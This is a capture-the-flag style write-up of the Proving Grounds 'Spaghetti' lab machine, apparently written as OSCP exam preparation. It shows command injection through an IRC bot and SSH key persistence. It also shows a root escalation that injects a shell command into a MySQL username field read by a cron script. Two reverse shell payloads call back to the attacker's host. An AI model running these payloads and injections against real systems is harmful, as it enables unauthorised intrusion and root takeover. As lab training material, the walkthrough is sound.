Proving grounds:Spaghetti

Al1z4deh:~# echo "Welcome"
9 min readDec 20, 2022

Today we will take a look at Proving grounds: Spaghetti. My purpose in sharing this post is to prepare for oscp exam. It is also to show you the way if you are in trouble. Please try to understand each step and take notes.

  • Network scan
sudo nmap -Pn -p- -sS --open --min-rate 10000 -oN nmap/quick 192.168.200.160
22/tcp open ssh
25/tcp open smtp
80/tcp open http
6667/tcp open irc
8080/tcp open http-proxy
sudo nmap -Pn -p22,25,80,6667,8080 -sCV --open -oN nmap/open 192.168.200.160

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1994b952225ed0f8520d363b448bbcf (RSA)
| 256 0f448badad95b8226af036ac19d00ef3 (ECDSA)
|_ 256 32e12a6ccc7ce63e23f4808d33ce9b3a (ED25519)
25/tcp open smtp Postfix smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=spaghetti.lan
| Subject Alternative Name: DNS:spaghetti.lan
| Not valid before: 2021-03-09T11:39:07
|_Not valid after: 2031-03-07T11:39:07
|_smtp-commands: spaghetti.lan, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Spaghetti Mail
|_http-server-header: nginx/1.18.0 (Ubuntu)
6667/tcp open irc
| irc-info:
| users: 2
| servers: 1
| chans: 1
| lusers: 2
| lservers: 0
| server: irc.spaghetti.lan
| version: InspIRCd-3. irc.spaghetti.lan
| source ident: nmap
| source host: 192.168.49.200
|_ error: Closing link: (nmap@192.168.49.200) [Client exited]
8080/tcp open http nginx 1.18.0 (Ubuntu)
| http-title: Postfix Admin - 192.168.200.160:8080
|_Requested resource was login.php
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
  • irc (6667)

This machine has an IRC server on port 6667. Let’s join. Immediately after connecting, we need to set our nick and user mode before the server times out and disconnects us

└─$ nc -nv 192.168.200.160 6667
(UNKNOWN) [192.168.200.160] 6667 (ircd) open
:irc.spaghetti.lan NOTICE * :*** Looking up your hostname...
u:irc.spaghetti.lan NOTICE * :*** Could not resolve your hostname: Request timed out; using your IP address (192.168.49.200) instead.

After seeing the second message that the server cannot resolve our hostname, we need to set the nick and user mode like this:


nick kali
user kali * 0 kali
:irc.spaghetti.lan 001 kali :Welcome to the Localnet IRC Network kali!kali@192.168.49.200
:irc.spaghetti.lan 002 kali :Your host is irc.spaghetti.lan, running version InspIRCd-3
:irc.spaghetti.lan 003 kali :This server was created 02:23:24 Nov 14 2022
:irc.spaghetti.lan 004 kali irc.spaghetti.lan InspIRCd-3 iosw biklmnopstv :bklov
:irc.spaghetti.lan 005 kali AWAYLEN=200 CASEMAPPING=rfc1459 CHANLIMIT=#:20 CHANMODES=b,k,l,imnpst CHANNELLEN=64 CHANTYPES=# ELIST=CMNTU HOSTLEN=64 KEYLEN=32 KICKLEN=255 LINELEN=512 MAXLIST=b:100 :are supported by this server
:irc.spaghetti.lan 005 kali MAXTARGETS=20 MODES=20 NETWORK=Localnet NICKLEN=30 PREFIX=(ov)@+ SAFELIST STATUSMSG=@+ TOPICLEN=307 USERLEN=10 WHOX :are supported by this server
:irc.spaghetti.lan 251 kali :There are 1 users and 0 invisible on 1 servers
:irc.spaghetti.lan 253 kali 1 :unknown connections
:irc.spaghetti.lan 254 kali 1 :channels formed
:irc.spaghetti.lan 255 kali :I have 1 clients and 0 servers
:irc.spaghetti.lan 265 kali :Current local users: 1 Max: 2
:irc.spaghetti.lan 266 kali :Current global users: 1 Max: 2
:irc.spaghetti.lan 375 kali :irc.spaghetti.lan message of the day
:irc.spaghetti.lan 372 kali :- **************************************************
:irc.spaghetti.lan 372 kali :- * H E L L O *
:irc.spaghetti.lan 372 kali :- * This is a private irc server. Please contact *
:irc.spaghetti.lan 372 kali :- * the admin of the server for any questions or *
:irc.spaghetti.lan 372 kali :- * issues. *
:irc.spaghetti.lan 372 kali :- **************************************************
:irc.spaghetti.lan 372 kali :- * The software was provided as a package of *
:irc.spaghetti.lan 372 kali :- * Debian GNU/Linux <https://www.debian.org/>. *
:irc.spaghetti.lan 372 kali :- * However, Debian has no control over this *
:irc.spaghetti.lan 372 kali :- * server. *
:irc.spaghetti.lan 372 kali :- **************************************************
:irc.spaghetti.lan 372 kali :- (The sysadmin possibly wants to edit </etc/inspircd/inspircd.motd>)
:irc.spaghetti.lan 376 kali :End of message of the day.

we can list the channels by running the list command.

list
:irc.spaghetti.lan 321 kali Channel :Users Name
:irc.spaghetti.lan 322 kali #mailAssistant 1 :[+nt]
:irc.spaghetti.lan 323 kali :End of channel list.

Let’s join #mailAssistant channel using the join command

join #mailAssistant
:kali!kali@192.168.49.200 JOIN :#mailAssistant
:irc.spaghetti.lan 353 kali = #mailAssistant :@spaghetti_BoT kali
:irc.spaghetti.lan 366 kali #mailAssistant :End of /NAMES list.

When you join a channel, it provides us with a list of usernames in the channel. We see that there is a user named Spaghetti_BoT. Let’s send a message to the channel using the privmsg command.

privmsg #mailAssistant hello
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG #mailAssistant :Hello! I'm a spaghetti assistant BoT, please DM me with !command for a list of command.

Spaghetti_BoT told us to send it the !command command to see a list of commands. Let’s do this with the privmsg command.

privmsg spaghetti_BoT !command
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG kali :Please if you have any problems with your email, use: <email:your_email> <description:problem_description>. You will be contacted s possible and mail will be sent to the administrator. Thank you.
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG kali :**************************************************************************
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG kali :Use: !about , for information.

We also have a !about function.

privmsg spaghetti_BoT !about
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG kali :PyBot is developed and maintained by spaghettimail teams.
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG kali :For more info and released versions use link below.
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG kali :https://github.com/9b61f9c243d4e87b2c95aa27b9e9e1db/PyBot

We find the GitHub page with the source code of the bot written in Python. Let’s look at the irc_bot.py file.


def send_message (recipient, subject, body):
cmd="echo {} | mail -s '{}' {}".format(body,subject, recipient)
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)

send_message function that calls the mail system command:

Let’s prepare a payload to get a reverse shell.

└─$ cat exploit.sh
#!/bin/bash

bash -i >& /dev/tcp/192.168.49.200/4242 0>&1

└─$ python3 -m http.server 80

Now let’s upload our file to the target

privmsg spaghetti_BoT email:kali@kali.lan description:test |wget 192.168.49.200/exploit.sh
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG kali :Email sent to administrator. Thank you.

Let’s run the payload

privmsg spaghetti_BoT email:kali@kali.lan description:test |bash exploit.sh
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG kali :Email sent to administrator. Thank you.

Shell

└─$ nc -nvlp 4242
listening on [any] 4242 ...
connect to [192.168.49.200] from (UNKNOWN) [192.168.200.160] 46768
bash: cannot set terminal process group (2001): Inappropriate ioctl for device
bash: no job control in this shell
hostmaster@spaghetti:~$ ls
ls
exploit.sh
irc_bot.py
irc_class.py
local.txt
monitor.sh
__pycache__
  • Ssh

Ssh port was open. We can now put our own key to easily connect to the target.

└─$ ssh-keygen 

└─$ cp /home/kali/.ssh/id_rsa.pub authorized_keys

Let’s generate the key and transfer it to the target

hostmaster@spaghetti:~$ mkdir .ssh
mkdir .ssh

hostmaster@spaghetti:~/.ssh$ wget 192.168.49.200/authorized_keys
wget 192.168.49.200/authorized_keys
--2022-12-20 16:01:18-- http://192.168.49.200/authorized_keys
Connecting to 192.168.49.200:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 563 [application/octet-stream]
Saving to: 'authorized_keys'

0K 100% 730K=0.001s

2022-12-20 16:01:18 (730 KB/s) - 'authorized_keys' saved [563/563]

And now let’s join with ease.

└─$ ssh hostmaster@192.168.200.160 -i /home/kali/.ssh/id_rsa 
The authenticity of host '192.168.200.160 (192.168.200.160)' can't be established.
ED25519 key fingerprint is SHA256:D9EwlP6OBofTctv3nJ2YrEmwQrTfB9lLe4l8CqvcVDI.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.200.160' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-66-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Tue 20 Dec 2022 04:01:41 PM UTC

System load: 0.08 Processes: 215
Usage of /: 56.2% of 9.78GB Users logged in: 0
Memory usage: 60% IPv4 address for ens160: 192.168.200.160
Swap usage: 0%


0 updates can be installed immediately.
0 of these updates are security updates.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

You have new mail.
$ script /dev/null -c bash
Script started, file is /dev/null
hostmaster@spaghetti:~$ ls
exploit.sh irc_bot.py irc_class.py local.txt monitor.sh __pycache__

Search for vulnerability using Linpeas.

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

pspy finds the cron job running as root that calls the script.

https://github.com/DominicBreuker/pspy

Let’s analyze the code.

hostmaster@spaghetti:~$ cat /opt/check_mailpass_expiration.sh
#!/bin/bash
#Adapt to your setup

POSTFIX_DB="postfixadmin"
MYSQL_CREDENTIALS_FILE="/root/postfixadmin.my.cnf"

REPLY_ADDRESS=noreply@spaghetti.lan

# Change this list to change notification times and when ...
for INTERVAL in 30 14 7
do
LOWER=$(( $INTERVAL - 1 ))

QUERY="SELECT username,password_expiry FROM mailbox WHERE password_expiry > now() + interval $LOWER DAY AND password_expiry < NOW() + interval $INTERVAL DAY"

mysql --defaults-extra-file="$MYSQL_CREDENTIALS_FILE" "$POSTFIX_DB" -B -e "$QUERY" | while read -a RESULT ; do
echo -e "Dear User, \n Your password will expire on ${RESULT[1]}" | mail -s "Password 30 days before expiration notication" -r $REPLY_ADDRESS ${RESULT[0]}
done

done

This script looks for any passwords that are expiring in the database, and sends an email 30, 14 and 7 days before the expiration.

Let’s get into mysql.

hostmaster@spaghetti:~$ mysql -u postfixadmin -pP4s8vV0r6
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 216
Server version: 8.0.23-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| postfixadmin |
+--------------------+
2 rows in set (0.10 sec)

mysql> use postfixadmin;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+------------------------+
| Tables_in_postfixadmin |
+------------------------+
| admin |
| alias |
| alias_domain |
| config |
| domain |
| domain_admins |
| fetchmail |
| log |
| mailbox |
| quota |
| quota2 |
| vacation |
| vacation_notification |
+------------------------+
13 rows in set (0.00 sec)

We'll need to enter a system command in the username
field and update the password_expiry field to run the cron job
script to send the email and hopefully execute our command.
Let's list the existing users to see what we have to work with.

mysql> describe mailbox;
+-----------------+--------------+------+-----+---------------------+-------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+--------------+------+-----+---------------------+-------+
| username | varchar(255) | NO | PRI | NULL | |
| password | varchar(255) | NO | | NULL | |
| name | varchar(255) | NO | | NULL | |
| maildir | varchar(255) | NO | | NULL | |
| quota | bigint | NO | | 0 | |
| local_part | varchar(255) | NO | | NULL | |
| domain | varchar(255) | NO | MUL | NULL | |
| created | datetime | NO | | 2000-01-01 00:00:00 | |
| modified | datetime | NO | | 2000-01-01 00:00:00 | |
| active | tinyint(1) | NO | | 1 | |
| phone | varchar(30) | NO | | | |
| email_other | varchar(255) | NO | | | |
| token | varchar(255) | NO | | | |
| token_validity | datetime | NO | | 2000-01-01 00:00:00 | |
| password_expiry | datetime | NO | | 2000-01-01 00:00:00 | |
+-----------------+--------------+------+-----+---------------------+-------+
15 rows in set (0.02 sec)

mysql> select username, password_expiry from mailbox;
+----------------------------+---------------------+
| username | password_expiry |
+----------------------------+---------------------+
| giuseppe.verdi@private.lan | 2022-03-09 11:38:00 |
+----------------------------+---------------------+
1 row in set (0.00 sec)

Let’s create a simple reverse shell script and upload it to the target machine

└─$ cat script.sh                                                                      
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.200 4444 >/tmp/f

hostmaster@spaghetti:~/.ssh$ cd /tmp
cd /tmp

hostmaster@spaghetti:/tmp$ wget 192.168.49.200/script.sh
wget 192.168.49.200/script.sh
--2022-12-20 16:07:18-- http://192.168.49.200/script.sh
Connecting to 192.168.49.200:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 84 [text/x-sh]
Saving to: ‘script.sh’

0K 100% 15.1M=0s

2022-12-20 16:07:18 (15.1 MB/s) - ‘script.sh’ saved [84/84]

hostmaster@spaghetti:/tmp$ chmod +x script.sh

Let’s inject a command to run our script we placed /tmp/script.sh.

mysql> update mailbox set username=' |/tmp/script.sh';
Query OK, 1 row affected (0.02 sec)
Rows matched: 1 Changed: 1 Warnings: 0

Update the password_expiry field to a date 7 days from today.
This should trigger the script called by the root cron job to send
an email using our modified username.

mysql> update mailbox set password_expiry = (select now() + interval 7 day);
Query OK, 1 row affected (0.03 sec)
Rows matched: 1 Changed: 1 Warnings: 0

Let’s listen

└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.49.200] from (UNKNOWN) [192.168.200.160] 33322
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# whoami && uname -a && id
root
Linux spaghetti.lan 5.4.0-66-generic #74-Ubuntu SMP Wed Jan 27 22:54:38 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)

And now we are the root

“If you have any questions or comments, please do not hesitate to write. Have a good days”

--

--